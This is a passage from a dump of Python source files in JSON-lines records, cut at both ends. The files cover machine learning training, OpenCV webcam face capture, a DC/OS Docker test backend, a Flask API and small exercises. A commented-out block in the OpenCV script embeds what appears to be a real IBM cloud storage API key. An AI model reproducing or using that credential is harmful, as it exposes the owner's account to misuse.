+folderslabels[i])\n subfiles,subfolders=foldercontents(folderslist[i]) #foldercontents generates two dfs: a df with names and ids of files and a df with names and ids of folders\n bdasfilelist=bdasfilelist.append(subfiles)\n bdasfolderlist=bdasfolderlist.append(subfolders)\n return bdasfilelist,bdasfolderlist\n\n\ndef foldercontents(folder_id):\n filelist=[]\n fileidlist=[]\n folderlist=[]\n folderidlist=[]\n WUlist=box.client.folder(folder_id=folder_id).get_items(limit=None, offset=0, marker=None, use_marker=False, sort=None, direction=None, fields=None)\n for item in WUlist:\n if item.type == 'file':\n filelist.append(item.name)\n fileidlist.append(item.id)\n if item.type == 'folder':\n folderlist.append(item.name)\n folderidlist.append(item.id)\n files=pd.DataFrame({'filename':filelist, 'file_id':fileidlist})\n folders=pd.DataFrame({'foldername':folderlist, 'folder_id':folderidlist})\n return files,folders\n\n","sub_path":"toolbox_dl_and_append_round3.py","file_name":"toolbox_dl_and_append_round3.py","file_ext":"py","file_size_in_byte":19686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"542980490","text":"import numpy as np\nimport cv2\nimport time\nimport io as libio\nfrom PIL import Image\n#import ibm_boto3\n#from ibm_botocore.client import Config, ClientError\n\n# Constants for IBM COS values\n#COS_ENDPOINT = \"https://s3.eu-gb.cloud-object-storage.appdomain.cloud\"\n#COS_AUTH_ENDPOINT = \"https://iam.cloud.ibm.com/identity/token\"\n#COS_API_KEY_ID = \"BD98N-vqonh983XVsKzNhIRx62oKMGZDodhNTL4ou9Tp\" \n#COS_RESOURCE_CRN = \"crn:v1:bluemix:public:cloud-object-storage:global:a/5654a1f2157d42d482817601f6b4f60c:1b9a82e2-2215-4c79-ac53-7f021a893306:bucket:cos.deeplearning.walekova\" \n#COS_BUCKET = 'cos.deeplearning.walekova'\n\n#cos = boto3.resource(\"s3\",\n# ibm_api_key_id=COS_API_KEY_ID,\n# ibm_service_instance_id=COS_RESOURCE_CRN,\n# ibm_auth_endpoint=COS_AUTH_ENDPOINT,\n# config=Config(signature_version=\"oauth\"),\n# endpoint_url=COS_ENDPOINT\n#)\n\n#def cgsWriteImage(client, bucket, file, image):\n# # Convert numpy.ndarray into PIL.Image.Image object. This features a 'save' method that will be used below\n# # Determine number of dimensions\n# n = image.ndim\n# # RGB image\n# if (n==3):\n# img = Image.fromarray(image,'RGB')\n# # Binary or graylevel image\n# else:\n# # Binary\n# if (image.max()==1):\n# img = Image.fromarray(image,'1').convert('RGB') \n# # Graylevel\n# else:\n# img = Image.fromarray(image,'L').convert('RGB') \n\n# # Create buffer to hold jpeg representation of image in 'io.BytesIO' object\n# bufImage = libio.BytesIO()\n# # Store jpeg representation of image in buffer\n# img.save(bufImage,\"JPEG\") \n# # Rewind the buffer to beginning\n# bufImage.seek(0)\n# # Provide the jpeg object to the Body parameter of put_object to write image to COS\n# isr = client.put_object(Bucket=bucket, \n# Body = bufImage,\n# Key = file, \n# ContentType = 'image/jpeg')\n# #print(\"cgsWriteImage: \\n\\tBucket=%s \\n\\tFile=%s \\n\\tArraySize=%d %s RawSize=%d\\n\" % (bucket, file, image.size, image.shape, bufImage.getbuffer().nbytes))\n\nface_cascade = cv2.CascadeClassifier('/usr/share/opencv/haarcascades/haarcascade_frontalface_default.xml')\n\ncap = cv2.VideoCapture(0)\n\nwhile cap.isOpened():\n _, frame = cap.read()\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray, 1.3, 5)\n\n for(x,y,w,h) in faces:\n cv2.rectangle(frame, (x,y), (x+w, y+h), (255,0,0), 3)\n face = frame[y:y+h, x:x+w]\n imgFile = \"opencv-face-\" + str(round(time.time())) + \".jpg\"\n cv2.imwrite('/mnt/mybucket/'+ imgFile,face)\n #cgsWriteImage(cos, COS_BUCKET, imgFile, face)\n #cos.Bucket(name=COS_BUCKET).put_object(Key=png_name, Body=face, ContentType = 'image/jpeg')\n #print(\"message sent\")\n\n # Display output\n cv2.imshow('frame', frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# When everything done, release the video capture object\ncap.release()\n\n# Closes all the frames\ncv2.destroyAllWindows()\n\n","sub_path":"Other_OpenCV_Tensor_FaceRecognition/opencv.py","file_name":"opencv.py","file_ext":"py","file_size_in_byte":3060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"4186985","text":"# -*- coding:utf-8 -*-\r\nimport lightgbm as lgb\r\nimport time\r\nfrom sklearn import metrics\r\n\r\n\r\nclass trainer:\r\n\r\n def __init__(self, data):\r\n '''\r\n 初始化各个变量\r\n :param train_X:\r\n :param train_Y:\r\n '''\r\n self.train_X = data['train_X']\r\n self.train_Y = data['train_Y']\r\n self.valid_X = data['valid_X']\r\n self.valid_Y = data['valid_Y']\r\n self.test_X = data['test_X']\r\n self.test_Y = data['test_Y']\r\n pass\r\n\r\n\r\n def pre_process(self):\r\n '''\r\n 对输入的训练集数据进行一些预处理,得到网络的输入\r\n :return:\r\n '''\r\n # TODO 在输入到训练集中时,对训练数据的一些操作\r\n self.train_X = self.train_X.drop(self.config.train_droped_feature, axis=1)\r\n self.valid_X = self.valid_X.drop(self.config.train_droped_feature, axis=1)\r\n self.test_X = self.test_X.drop(self.config.train_droped_feature, axis=1)\r\n\r\n\r\n\r\n\r\n def lgb_fit(self):\r\n \"\"\"模型(交叉验证)训练,并返回最优迭代次数和最优的结果。\r\n Args:\r\n config: xgb 模型参数 {params, max_round, cv_folds, early_stop_round, seed, save_model_path}\r\n X_train:array like, shape = n_sample * n_feature\r\n y_train: shape = n_sample * 1\r\n\r\n Returns:\r\n best_model: 训练好的最优模型\r\n best_auc: float, 在测试集上面的 AUC 值。\r\n best_round: int, 最优迭代次数。\r\n \"\"\"\r\n params = self.config.params\r\n max_round = self.config.max_round\r\n early_stop_round = self.config.early_stop_round\r\n seed = self.config.seed\r\n\r\n\r\n # 是否区分类型特征\r\n if self.config.categorical_feature is not None:\r\n dtrain = lgb.Dataset(self.train_X, label=self.train_Y, categorical_feature=self.config.categorical_feature)\r\n dvalid = lgb.Dataset(self.valid_X, label=self.valid_Y, categorical_feature=self.config.categorical_feature)\r\n else:\r\n dtrain = lgb.Dataset(self.train_X, label=self.train_Y)\r\n dvalid = lgb.Dataset(self.valid_X, label=self.valid_Y)\r\n watchlist = [dtrain, dvalid]\r\n\r\n tic = time.time()\r\n best_model = lgb.train(params, dtrain, max_round, valid_sets=watchlist, early_stopping_rounds=early_stop_round)\r\n print('Time cost {}s'.format(time.time() - tic))\r\n\r\n y_pred = best_model.predict(self.test_X)\r\n test_auc = metrics.roc_auc_score(self.test_Y, y_pred)\r\n\r\n best_round = best_model.best_iteration\r\n best_auc = best_model.best_score\r\n\r\n print('best_round={}, best_auc={}, test_auc={}'.format(best_round, best_auc, test_auc))\r\n return best_model, test_auc\r\n\r\n\r\n\r\n def run_cv(self, X_train, y_train, config):\r\n '''\r\n 进行交叉验证\r\n :param X_train: 训练数据\r\n :param y_train: 测试数据\r\n :param config: 配置文件\r\n :return:\r\n '''\r\n tic = time.time()\r\n lgb_model, best_auc, best_round, cv_result = self.lgb_fit(config, X_train, y_train)\r\n print('Time cost {}s'.format(time.time() - tic))\r\n result_message = 'best_round={}, best_auc={}'.format(best_round, best_auc)\r\n print(result_message)\r\n return lgb_model\r\n\r\n\r\n def train(self, config):\r\n '''\r\n 统计对外的接口\r\n :return:\r\n '''\r\n # self.pre_process()\r\n self.config = config\r\n print(\"begin train\")\r\n print('X_train.shape={}, Y_train.shape={}'.format(self.train_X.shape, self.train_Y.shape))\r\n print('X_valid.shape={}, Y_valid.shape={}'.format(self.valid_X.shape, self.valid_Y.shape))\r\n print('X_test.shape={}, Y_test.shape={}'.format(self.test_X.shape, self.test_Y.shape))\r\n model, test_auc = self.lgb_fit()\r\n model.save_model(self.config.save_model_path)\r\n print(\"model is saved to %s\" % self.config.save_model_path)\r\n print(\"train end\")\r\n return model, test_auc\r\n# lgb_predict(lgb_model, X_test, result_path)\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n pass\r\n","sub_path":"Code/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":4169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"466452992","text":"secret_key = {'A':'@','B':'!','C':'#','D':'%','E':'^','F':'*','G':'&','H':'+','I':'=','J':'{','K':'~','L':'`','M':'/',\n 'N':'?','O':'[','P':']','Q':'6','R':'8','S':'9','T':'5','U':'1','V':'2','W':'3','X':'4','Y':'7','Z':'-',' ':'\\\\','.':'|'}\ndecode_key = {'@':'A','!':'B','#':'C','%':'D','^':'E','*':'F','&':'G','+':'H','=':'I','{':'J','~':'K','`':'L','/':'M',\n '?':'N','[':'O',']':'P','6':'Q','8':'R','9':'S','5':'T','1':'U','2':'V','3':'W','4':'X','7':'Y','-':'Z','\\\\':' ','|':'.'}\nvar = ''\ndef print_menu(): \n print (30 * '-' , 'MENU' , 30 * '-')\n print ('1 - Encode a Message.')\n print ('2 - Decode The Message.')\n print ('3 - Display Encoded Message.')\n print ('4 - Exit')\n print (67 * '-')\n \ndef encode():\n or_message = input('Please enter your sentence here:\\n')\n message = or_message.upper()\n mess = list(message)\n var = ''\n global var\n for key in mess:\n if key in secret_key:\n var += secret_key[key]\n print(var)\n \ndef decode():\n global var\n final = ''\n mess = list(var)\n for key in mess:\n if key in decode_key:\n final += decode_key[key]\n finals = final.lower()\n print(finals)\n \nwhile True:\n print_menu() \n choice = int(input(\"Enter your choice [1-4]: \"))\n \n if choice==1: \n encode()\n elif choice==2:\n decode()\n elif choice==3:\n print(var)\n elif choice==4:\n break \n else:\n input(\"Wrong option selection.\")\n\n\n","sub_path":"ch8/ch8#3.py","file_name":"ch8#3.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"107801869","text":"\"\"\"\nHelpers for interacting with DC/OS Docker.\n\"\"\"\n\nimport inspect\nimport os\nimport socket\nimport uuid\nfrom ipaddress import IPv4Address\nfrom pathlib import Path\nfrom shutil import copyfile, copytree, ignore_patterns, rmtree\nfrom tempfile import TemporaryDirectory\nfrom typing import Any, Dict, Optional, Set, Type\n\nimport docker\nimport yaml\n\nfrom dcos_e2e._common import run_subprocess\nfrom dcos_e2e.backends._base_classes import ClusterBackend, ClusterManager\nfrom dcos_e2e.node import Node\n\n\ndef _get_open_port() -> int:\n \"\"\"\n Return a free port.\n \"\"\"\n host = ''\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as new_socket:\n new_socket.bind((host, 0))\n new_socket.listen(1)\n return int(new_socket.getsockname()[1])\n\n\nclass DCOS_Docker(ClusterBackend): # pylint: disable=invalid-name\n \"\"\"\n A record of a DC/OS Docker backend which can be used to create clusters.\n \"\"\"\n\n def __init__(self, workspace_dir: Optional[Path]=None) -> None:\n \"\"\"\n Create a configuration for a DC/OS Docker cluster backend.\n\n Args:\n workspace_dir: The directory in which large temporary files will be\n created. These files will be deleted at the end of a test run.\n This is equivalent to `dir` in\n https://docs.python.org/3/library/tempfile.html#tempfile.TemporaryDirectory # noqa\n\n Attributes:\n dcos_docker_path: The path to a clone of DC/OS Docker.\n This clone will be used to create the cluster.\n workspace_dir: The directory in which large temporary files will be\n created. These files will be deleted at the end of a test run.\n \"\"\"\n current_file = inspect.stack()[0][1]\n current_parent = Path(os.path.abspath(current_file)).parent\n self.dcos_docker_path = current_parent / 'dcos_docker'\n self.workspace_dir = workspace_dir\n\n @property\n def cluster_cls(self) -> Type['DCOS_Docker_Cluster']:\n \"\"\"\n Return the `ClusterManager` class to use to create and manage a\n cluster.\n \"\"\"\n return DCOS_Docker_Cluster\n\n @property\n def supports_destruction(self) -> bool:\n \"\"\"\n DC/OS Docker clusters can be destroyed.\n \"\"\"\n return True\n\n\nclass DCOS_Docker_Cluster(ClusterManager): # pylint: disable=invalid-name\n \"\"\"\n A record of a DC/OS Docker cluster.\n \"\"\"\n\n def __init__( # pylint: disable=super-init-not-called\n self,\n generate_config_path: Optional[Path],\n masters: int,\n agents: int,\n public_agents: int,\n extra_config: Dict[str, Any],\n log_output_live: bool,\n files_to_copy_to_installer: Dict[Path, Path],\n files_to_copy_to_masters: Dict[Path, Path],\n cluster_backend: DCOS_Docker,\n ) -> None:\n \"\"\"\n Create a DC/OS Docker cluster.\n\n Args:\n generate_config_path: The path to a build artifact to install.\n masters: The number of master nodes to create.\n agents: The number of agent nodes to create.\n public_agents: The number of public agent nodes to create.\n extra_config: DC/OS Docker comes with a \"base\" configuration.\n This dictionary can contain extra installation configuration\n variables.\n log_output_live: If `True`, log output of subprocesses live.\n If `True`, stderr is merged into stdout in the return value.\n files_to_copy_to_installer: A mapping of host paths to paths on\n the installer node. These are files to copy from the host to\n the installer node before installing DC/OS. Currently on DC/OS\n Docker the only supported paths on the installer are in the\n `/genconf` directory.\n files_to_copy_to_masters: A mapping of host paths to paths on the\n master nodes. These are files to copy from the host to\n the master nodes before installing DC/OS. On DC/OS Docker the\n files are mounted, read only, to the masters.\n cluster_backend: Details of the specific DC/OS Docker backend to\n use.\n\n Raises:\n ValueError: There is no file at `generate_config_path`.\n CalledProcessError: The step to create and install containers\n exited with a non-zero code.\n \"\"\"\n if generate_config_path is None or not generate_config_path.exists():\n raise ValueError()\n\n self.log_output_live = log_output_live\n\n # To avoid conflicts, we use random container names.\n # We use the same random string for each container in a cluster so\n # that they can be associated easily.\n #\n # Starting with \"dcos-e2e\" allows `make clean` to remove these and\n # only these containers.\n unique = 'dcos-e2e-{random}'.format(random=uuid.uuid4())\n\n # We create a new instance of DC/OS Docker and we work in this\n # directory.\n # This helps running tests in parallel without conflicts and it\n # reduces the chance of side-effects affecting sequential tests.\n self._path = Path(\n TemporaryDirectory(\n suffix=unique,\n dir=(\n str(cluster_backend.workspace_dir)\n if cluster_backend.workspace_dir else None\n ),\n ).name\n )\n\n copytree(\n src=str(cluster_backend.dcos_docker_path),\n dst=str(self._path),\n # If there is already a config, we do not copy it as it will be\n # overwritten and therefore copying it is wasteful.\n ignore=ignore_patterns('dcos_generate_config.sh'),\n )\n\n # Files in the DC/OS Docker directory's `genconf` directory are mounted\n # to the installer at `/genconf`.\n # Therefore, every file which we want to copy to `/genconf` on the\n # installer is put into the genconf directory in DC/OS Docker.\n # The way to fix this if we want to be able to put files anywhere is\n # to add an variable to `dcos_generate_config.sh.in` which allows\n # `-v` mounts.\n # Then `INSTALLER_MOUNTS` can be added to DC/OS Docker.\n genconf_dir = self._path / 'genconf'\n # We wrap this in `Path` to work around\n # https://github.com/PyCQA/pylint/issues/224.\n Path(genconf_dir).mkdir(exist_ok=True)\n for host_path, installer_path in files_to_copy_to_installer.items():\n relative_installer_path = installer_path.relative_to('/genconf')\n destination_path = genconf_dir / relative_installer_path\n copyfile(src=str(host_path), dst=str(destination_path))\n\n extra_genconf_config = ''\n if extra_config:\n extra_genconf_config = yaml.dump(\n data=extra_config,\n default_flow_style=False,\n )\n\n master_mounts = []\n for host_path, master_path in files_to_copy_to_masters.items():\n mount = '-v {host_path}:{master_path}:ro'.format(\n host_path=host_path.absolute(),\n master_path=master_path,\n )\n master_mounts.append(mount)\n\n # Only overlay, overlay2, and aufs storage drivers are supported.\n # This chooses the overlay2 driver if the host's driver is not\n # supported for speed reasons.\n client = docker.from_env(version='auto')\n host_driver = client.info()['Driver']\n storage_driver = host_driver if host_driver in (\n 'overlay', 'overlay2', 'aufs'\n ) else 'overlay2'\n\n self._master_prefix = '{unique}-master-'.format(unique=unique)\n self._agent_prefix = '{unique}-agent-'.format(unique=unique)\n self._public_agent_prefix = '{unique}-pub-agent-'.format(unique=unique)\n\n variables = {\n # This version of Docker supports `overlay2`.\n 'DOCKER_VERSION': '1.13.1',\n 'DOCKER_STORAGEDRIVER': storage_driver,\n # Some platforms support systemd and some do not.\n # Disabling support makes all platforms consistent in this aspect.\n 'MESOS_SYSTEMD_ENABLE_SUPPORT': 'false',\n # Number of nodes.\n 'MASTERS': str(masters),\n 'AGENTS': str(agents),\n 'PUBLIC_AGENTS': str(public_agents),\n # Container names.\n 'MASTER_CTR': self._master_prefix,\n 'AGENT_CTR': self._agent_prefix,\n 'PUBLIC_AGENT_CTR': self._public_agent_prefix,\n 'INSTALLER_CTR': '{unique}-installer'.format(unique=unique),\n 'INSTALLER_PORT': str(_get_open_port()),\n 'EXTRA_GENCONF_CONFIG': extra_genconf_config,\n 'MASTER_MOUNTS': ' '.join(master_mounts),\n 'DCOS_GENERATE_CONFIG_PATH': str(generate_config_path),\n # Make sure that there are no home mounts.\n # If $HOME is set to a directory we use, like `/root`, home mounts\n # can cause problems.\n 'HOME_MOUNTS': '',\n } # type: Dict[str, str]\n\n make_args = []\n for key, value in variables.items():\n # See https://stackoverflow.com/a/7860705 for details on escaping\n # Make variables.\n escaped_value = value.replace('$', '$$')\n escaped_value = escaped_value.replace('#', '\\\\#')\n set_variable = '{key}={value}'.format(key=key, value=escaped_value)\n make_args.append(set_variable)\n\n run_subprocess(\n args=['make'] + make_args + ['install'],\n cwd=str(self._path),\n log_output_live=self.log_output_live\n )\n\n def destroy(self) -> None:\n \"\"\"\n Destroy all nodes in the cluster.\n \"\"\"\n client = docker.from_env(version='auto')\n for prefix in (\n self._master_prefix,\n self._agent_prefix,\n self._public_agent_prefix,\n ):\n containers = client.containers.list(filters={'name': prefix})\n for container in containers:\n container.remove(v=True, force=True)\n\n rmtree(path=str(self._path), ignore_errors=True)\n\n def _nodes(self, container_base_name: str) -> Set[Node]:\n \"\"\"\n Args:\n container_base_name: The start of the container names.\n\n Returns: ``Node``s corresponding to containers with names starting\n with ``container_base_name``.\n \"\"\"\n client = docker.from_env(version='auto')\n filters = {'name': container_base_name}\n containers = client.containers.list(filters=filters)\n\n return set(\n Node(\n ip_address=IPv4Address(\n container.attrs['NetworkSettings']['IPAddress']\n ),\n ssh_key_path=self._path / 'include' / 'ssh' / 'id_rsa',\n ) for container in containers\n )\n\n @property\n def masters(self) -> Set[Node]:\n \"\"\"\n Return all DC/OS master ``Node``s.\n \"\"\"\n return self._nodes(container_base_name=self._master_prefix)\n\n @property\n def agents(self) -> Set[Node]:\n \"\"\"\n Return all DC/OS agent ``Node``s.\n \"\"\"\n return self._nodes(container_base_name=self._agent_prefix)\n\n @property\n def public_agents(self) -> Set[Node]:\n \"\"\"\n Return all DC/OS public agent ``Node``s.\n \"\"\"\n return self._nodes(container_base_name=self._public_agent_prefix)\n","sub_path":"src/dcos_e2e/backends/_dcos_docker/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":11587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"454891279","text":"from django.db import models\nfrom django.utils import timezone\n\nclass Vote(models.Model):\n subject = models.CharField(max_length=255)\n vote_taken = models.DateTimeField(default=timezone.now)\n yes_votes = models.IntegerField(blank=True, null=True)\n no_votes = models.IntegerField(blank=True, null=True)\n\n #Beautify for viewing it in admin\n\n def __str__(self):\n return '{subject} - {yes_votes}/{no_votes} on {vote_taken}'.format(\n subject=self.subject,\n yes_votes=self.yes_votes,\n no_votes=self.no_votes,\n vote_taken=self.vote_taken.strftime('%C')\n )\n\n\n","sub_path":"votes/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"279461146","text":"#! /usr/bin/env python\n# coding: utf-8\n\nimport os\nimport json\nfrom JYTools.JYWorker import RedisWorker\n\nclass RunMutect2(RedisWorker):\n def handle_task(self, key, params):\n self.task_log(\"Start Task\")\n self.task_log(\"get params: %s\" % json.dumps(params))\n now_sub_key = self.current_task.task_sub_key.split(\"_\")[-1]\n try:\n now_sub_key = int(now_sub_key)\n except:\n self.set_current_task_error(\"sub key format int wrong\")\n self.task_log(\"get sub_key: %s\" % now_sub_key)\n self.task_log(\"set env\")\n now_sub_key -= 1\n os.environ.setdefault(\"BATCH_COMPUTE_DAG_INSTANCE_ID\", \"%s\" % now_sub_key)\n tumor_realn_path, tumor_header = params[\"tumor_realn\"], params[\"tumor_header\"],\n normal_realn_path, normal_header = params[\"normal_realn\"], params[\"normal_header\"]\n bed_path = params[\"bed_path\"]\n instance_count = params[\"instance_count\"]\n sample_no = params[\"sample_no\"]\n output_dir = os.path.join(out_dir, sample_no)\n\n for each_path in [tumor_realn_path, normal_realn_path, bed_path]:\n if not os.path.exists(each_path):\n self.set_current_task_error(\"%s not exist\" % each_path)\n if not os.path.isdir(output_dir):\n try:\n os.system(\"mkdir %s\" % output_dir)\n except:\n self.set_current_task_error(\"%s need be dir\" % output_dir)\n os.system(\"python {run_mutect2_program} {tumor_realn_path} {tumor_header} \"\n \"{normal_realn_path} {normal_header} {bed_path} \"\n \"{output_dir} {instance_count}\".format(run_mutect2_program=run_mutect2_program, tumor_realn_path=tumor_realn_path, tumor_header=tumor_header,\n normal_realn_path=normal_realn_path, normal_header=normal_header, bed_path=bed_path,\n output_dir=output_dir, instance_count=instance_count))\n self.set_output(\"mutect2_split_out\", os.path.join(output_dir, \"mutect2_split_instance_%s.vcf\" % now_sub_key))\n self.task_log(\"finished\")\n\n\nhelp_message = \"\"\"\noptional arguments:\n -h, --help show this help message and exit\n -p, --program-path Mutect2 Python Program Path\n -o, --output DATA Output dir\n -D, --daemon Background the HandleSxWorker process. [False]\n -b STRING, --heartbeat-value STRING heartbeat value. [uuid.uuid4().hex]\n \"\"\"\n\nif __name__ == \"__main__\":\n RunMutect2.init_parser.add_argument(\"-p\", \"--program-path\", dest=\"run_mutect2_program\", help=\"mutect2 split program path\")\n RunMutect2.init_parser.add_argument(\"-o\", \"--output\", dest=\"output_dir\", help=\"output dir\")\n args = RunMutect2.parse_args()\n work_tag = args.work_tag if args.work_tag is not None else \"RunMutect2\"\n run_mutect2_program = args.run_mutect2_program\n out_dir = args.output_dir\n\n app = RunMutect2(work_tag=\"RunMutect2\", conf_path=args.conf_path, heartbeat_value=args.heartbeat_value, log_dir=args.log_dir)\n if args.example_path is not None:\n s, o = app.test(key=args.key, params_path=args.example_path, sub_key=args.sub_key, report_tag=args.report_tag)\n else:\n app.work(args.daemon)\n","sub_path":"anzhen/RunHumanMutect2Worker.py","file_name":"RunHumanMutect2Worker.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"29206380","text":"n = int(input())\nnums = list(map(int, input().split()))\nres = True\nfor num in nums:\n if num % 2 == 0 and num % 3 != 0 and num % 5 != 0:\n res = False\nif res:\n print('APPROVED')\nelse:\n print('DENIED')\n","sub_path":"atcoder/abc155/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"460456648","text":"import tensorflow as tf\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom model import MatrixFactorization\n\n\ndef train(args,data_info):\n n_user = data_info[0]\n n_item = data_info[1]\n train_data = data_info[2]\n val_data = data_info[3]\n test_data = data_info[4]\n \n model = MatrixFactorization(args,n_user,n_item)\n \n train_rmse_ls = []\n val_rmse_ls = []\n test_rmse_ls = []\n epoch = []\n \n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for step in range(args.n_epochs):\n np.random.shuffle(train_data)\n start = random.randint(0, train_data.shape[0] - args.batch_size)\n _ = model.train(sess, feed_dict = get_feed_dict(train_data, model, start, start + args.batch_size))\n\n #start = 0\n #while start < len(train_data):\n # model.train(sess, feed_dict=get_feed_dict(train_data, model, start, start + args.batch_size))\n # start += args.batch_size\n \n train_loss, train_rmse = model.validation(sess, feed_dict=get_feed_dict(train_data, model, 0, len(train_data)))\n val_loss, val_rmse = model.validation(sess, feed_dict=get_feed_dict(val_data, model, 0, len(val_data)))\n test_loss, test_rmse = model.validation(sess, feed_dict=get_feed_dict(test_data, model, 0, len(test_data)))\n \n train_rmse_ls.append(train_rmse)\n val_rmse_ls.append(val_rmse)\n test_rmse_ls.append(test_rmse)\n epoch.append(step)\n \n \n if step % 10 == 0:\n print('epoch %d train loss: %.4f rmse: %.4f val loss: %.4f rmse: %.4f test loss: %.4f rmse: %.4f'\n % (step, train_loss, train_rmse, val_loss, val_rmse, test_loss, test_rmse))\n prediction = model.predict(sess,feed_dict=get_feed_dict(test_data,model,0,len(test_data))) \n return train_rmse_ls, val_rmse_ls, test_rmse_ls, prediction, epoch\n\n\n\ndef get_feed_dict(data, model, start, end):\n feed_dict = dict()\n feed_dict[model.user_indices] = data[start:end, 0]\n feed_dict[model.item_indices] = data[start:end, 1]\n feed_dict[model.ratings] = data[start:end, 2]\n \n return feed_dict\n\n\ndef plot_metrics(rmse_info):\n train_rmse_ls = rmse_info[0]\n val_rmse_ls = rmse_info[1]\n test_rmse_ls = rmse_info[2]\n epoch = rmse_info[4]\n plt.plot(epoch, train_rmse_ls, label = 'train', color = 'red')\n plt.plot(epoch, val_rmse_ls, label = 'valid', color = 'green')\n plt.plot(epoch, test_rmse_ls, label = 'test', color = 'blue')\n plt.legend()\n plt.xlabel(\"Epochs\")\n plt.ylabel(\"User RMSE\")\n plt.show()","sub_path":"src/mf/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"539575699","text":"\"\"\"\nThis scripts downloads automatically the TED2020 corpus: https://github.com/UKPLab/sentence-transformers/blob/master/docs/datasets/TED2020.md\nThis corpus contains transcripts from TED and TEDx talks, translated to 100+ languages. \nFor downloading other parallel data, see get_parallel_data_{}.py scripts\n\"\"\"\nimport os\nimport sentence_transformers.util\n\n# This function downloads TED2020 if it does not exist\ndef download_corpora(filepaths):\n if not isinstance(filepaths, list):\n filepaths = [filepaths]\n\n for filepath in filepaths:\n if not os.path.exists(filepath):\n print(filepath, \"does not exists. Try to download from server\")\n filename = os.path.basename(filepath)\n url = \"https://sbert.net/datasets/\" + filename\n sentence_transformers.util.http_get(url, filepath)\n\n\n# Here we define train train and dev corpora\ntrain_corpus = \"datasets/ted2020.tsv.gz\" # Transcripts of TED talks, crawled 2020\n","sub_path":"get_parallel_data_ted2020.py","file_name":"get_parallel_data_ted2020.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"447585716","text":"import matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport numpy\nfrom matplotlib import animation\nimport random as rdm\n\nclass ArnoldCat:\n\n def __init__(self, N, lien = None, image = None, p=1, q=1):\n self.N = N\n self.p = p\n self.q = q\n if image != None:\n self.imgOriginale = image \n elif lien != None:\n self.imgOriginale = mpimg.imread(lien)\n else:\n self.imgOriginale = self.genererImage(N)\n self.img = self.imgOriginale\n\n def genererImage(self, N):\n return numpy.asarray([[[rdm.random(), rdm.random(), rdm.random()] for x in xrange(N)] for x in xrange(N)])\n\n def afficher(self):\n plt.clf\n self.fig = plt.figure()\n plt.xticks([]), plt.yticks([]) \n self.im = plt.imshow(self.img)\n\n def iterer(self,i):\n for k in xrange(i):\n imgTemp = [[0 for x in xrange(self.N)] for x in xrange(self.N)] \n for x in xrange(self.N):\n for y in xrange(self.N):\n imgTemp[(x + self.p*y)%self.N][(self.q*x + (1+self.p*self.q)*y)%self.N] = self.img[x][y]\n self.img = imgTemp\n \n def calculerT(self):\n self.img = self.imgOriginale \n T = 0\n t = True\n while t :\n T +=1\n self.iterer(1)\n if (self.img==self.imgOriginale).all():\n t = False\n return T\n\n# Partie animation:\n def __initAnimate(self):\n return self.im\n \n def __animate(self, i):\n self.iterer(1)\n self.im.set_data(self.img)\n return self.im\n \n def animer(self, f, tps, repeat = False, record = False): \n self.afficher() \n anim = animation.FuncAnimation(self.fig, self.__animate, init_func=self.__initAnimate, frames=f, interval=tps, repeat=repeat) \n if record :\n anim.save('test.mp4', writer='ffmpeg', fps=4); \n plt.show(anim)\n# fin Partie animation\n","sub_path":"ArnoldCat.py","file_name":"ArnoldCat.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"285793615","text":"from flask import Blueprint, current_app, jsonify, request, session\nfrom functools import wraps\n\nseries = Blueprint('series', __name__)\n\ndef login_required(f):\n @wraps(f)\n def decorated_function(*args, **kwargs):\n if session.get('loggedin') is None and session.get('username') == None:\n return jsonify({'message': 'You must login to access this resource.'}) \n return f(*args, **kwargs)\n return decorated_function\n\ndef get_error(message, code):\n return jsonify({\n 'message': message,\n 'code': code\n }), code\n\n\ndef existing():\n return get_error('Serie already exists!', 409)\n\n\ndef not_found():\n return get_error('Serie not found!', 404)\n\ndef param_err():\n return get_error(\"Not enough param!\", 400)\n\ndef parse_serie(data):\n serie = {}\n if 'title' in data:\n serie['title'] = data['title']\n if 'summary' in data:\n serie['summary'] = data['summary']\n if 'seasons' in data:\n serie['seasons'] = data['seasons']\n return serie\n\n@series.route('/', methods=['GET'] , strict_slashes = False)\n@login_required\ndef allseries():\n s = current_app.series.allSeries()\n return jsonify(s)\n\n@series.route('/', methods=['DELETE'] , strict_slashes = False)\n@login_required\ndef deleteseries():\n s = current_app.series.deleteAllSeries()\n return jsonify(s)\n\n@series.route('/', methods=['GET'])\n@login_required\ndef get_serie(serie_id):\n serie = current_app.series.get_serie(serie_id)\n if not serie:\n return not_found()\n return jsonify(serie)\n\n@series.route('/', methods=['POST'], 